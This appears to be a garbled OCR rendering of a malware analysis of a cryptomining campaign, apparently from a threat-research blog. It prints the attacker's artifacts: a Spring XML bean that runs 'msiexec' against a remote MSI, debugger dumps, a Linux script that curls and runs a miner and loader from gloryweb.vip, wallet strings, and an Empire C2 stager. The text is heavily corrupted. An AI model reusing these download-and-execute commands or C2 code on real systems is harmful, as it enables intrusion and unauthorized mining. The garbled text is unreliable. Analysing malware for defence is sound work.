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<?xml version="1.8" encoding="UTF-8" 2>
<beans xmlns="http://www.springframework.org/schema/beans”
xmlns:xsi="http://www.w3.org/2081/XMLSchema-instance”
xsi:schemalocation="
http://www. springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">»
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>»
«valuercmd</value»
<value»/c</value»
<«valuermsiexec /g /i http://gloryweb.vip/mmd6.msi</value»
</list>
</constructor-arg»
</bean»
</beans>»
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Slo0a0508, o Eﬂ?hegix - Lasterror 00000000 (ERROR_SUCCESS)
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. 58 pop eax
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> |1 [esp+4] 00CC0004 00CCO004
eax=<wininet.InternetConnectA> 2: [esp+8] 004051FC mml3.004051FC "gloryweb.vip”
3: [esp+C] 00002280 000022B0
4: [esp+10] 00000000 00000000
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0040514C| 54 48 55 70|67 4E 32 57 |42 66 54 4A|77 4A 67 49| ZHUpgN2wBfTIwlgI 0019FF5C 100000003
0040515C |48 38 47 4c|35 74 7A 58 (50 69 57 6D|61 36 49 4B HBGLSUzXPiwma6IK 0019FFE0 [ 00000000
0040516C |46 43 66 42|33 47 7A 75 (6D 58 52 68|31 30 00 50| FCcFB3GzumxRhl0.P 0019FF64 || 00000000
0040517C| 68 57 89 9F |[C6 FF D5 89|C6 53 68 00|02 68 84 53|hw..A&y0.4£5h. . h.s 0019FF68 [ 00000000
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# Directory to check

DIR=/updaterunning

cd ~

pkill xmrig

rm -r c3pool

if [ -d "$DIR" ]; then
echo "is there"

cd updaterunning

if pgrep -f "javarunprocess" » fdev/null; then

if | ps -C javarunprocess -o state= | grep -q '"Z"; then
echo "It is running”
else

cd updaterunning
rm config.json
curl http://gloryweb.vip/lin/config.json -o config.json

rm javarunprocess
curl http://gloryweb.vip/lin/javarunprocess -o javarunprocess
chmod 777 javarunprocess
rm go.sh
curl http://gloryweb.vip/lin/go.sh -o go.sh
chmod 777 go.sh
.fgo.sh &
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https://www.fortinet.com/blog/threat-research/old-miner-new-tricks

Wallet — 1 : “linux”

e Password — 1 : “linux”
e Wallet—2:

“89UoMhtsrpad TvmJBbvy1cTdg38pomPFnW5Z4sniL2izcLQyGBKEGd96TcBJtzQUI6KAL5Ehe4cFpEMNAGF7tFKpJ1D
e Password -2 : “lin”
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g public static class Program
{
T Af Token: 0x06000001 RID: 1 R¥a: Ox00002048 File Offset: 0x00000248
a8 public static void Maing)
q i
10 try
11 1
12 string text = "http:Afalorvweb. vip: 20867
13 string text2 = "0/0KQOEDYGYVOZMoOOrf ICOopxCchNEIyYan™:
14 string workingHours = "7
15 string profile = "fadminSget.php./news.php./logindprocess. phpllozil las/5.0
like Gecko™.
16 string killDate = "7
17 uint defaultDelay = 5u:
14 double defaultJitter = 0.0,
14 uint defaultlostLimit = G0u:
20 string textd = "dotnet™:
21 string defaultResponse = "{{ REPLACE_DEFAULTRESPONZE}}":
22 Sessioninfo sessioninfo = new Sessioninfolnew string[]
23 {
24 text,
25 text?,
26 textd
27 P
oa gessioninfo, SetWorkingHoursiworkingHours ).
29 sessioninfo.SetkilIDatelkilDate
an sessioninfo.SetDefaultditter{defaultJitter
3 sessioninfo.SetDefaultDelavidefaultDelay ),
az sessioninfo.SetDefaultlostlimit(defaultlostlimit
33 sessioninfo.SetDefaultResponseldefaul tResponse ).
a4 sessioninfo.3etProfilelprofilel;
a5 new Enpireitager(sessioninfo),Executel 1.
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